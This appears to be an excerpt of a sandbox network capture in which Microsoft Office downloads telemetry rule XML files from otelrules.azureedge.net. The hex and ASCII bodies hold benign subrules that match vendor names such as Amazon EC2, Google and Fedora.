2024-11-24 09:23:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:45 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 8b9ec706-101e-000b-544c-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092346Z-15b8b599d88tr2flhC1TEB5gk4000000047g00000000gxkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:46 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:46 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:46 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2822332a-801e-002a-6c23-3d31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092346Z-178bfbc474bv587zhC1NYCny5w00000005qg000000002h8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:46 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:46 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:46 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092346Z-15b8b599d88s6mj9hC1TEBur30000000040g00000000bf60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:46 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:46 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:46 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092346Z-174c587ffdfl22mzhC1TEBk40c000000049g00000000hfvf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:46 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:47 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092348Z-174c587ffdf89smkhC1TEB697s000000046g00000000m09f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:48 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:48 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092348Z-174c587ffdf8fcgwhC1TEBnn7000000004dg000000007q26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:48 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:48 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:48 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092348Z-178bfbc474btrnf9hC1NYCb80g00000005xg000000005y2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:48 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:48 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:48 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 15dd4eb7-201e-0051-500a-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092348Z-178bfbc474bv7whqhC1NYC1fg400000005tg000000004h5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:48 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:48 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092348Z-174c587ffdfx984chC1TEB676g000000044000000000ggb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:50 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092350Z-178bfbc474bnwsh4hC1NYC2ubs00000005xg000000001wbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:50 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:50 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 38a668eb-401e-00ac-34a1-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092350Z-15b8b599d88wn9hhhC1TEBry0g00000004b0000000004nyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:51 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:50 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
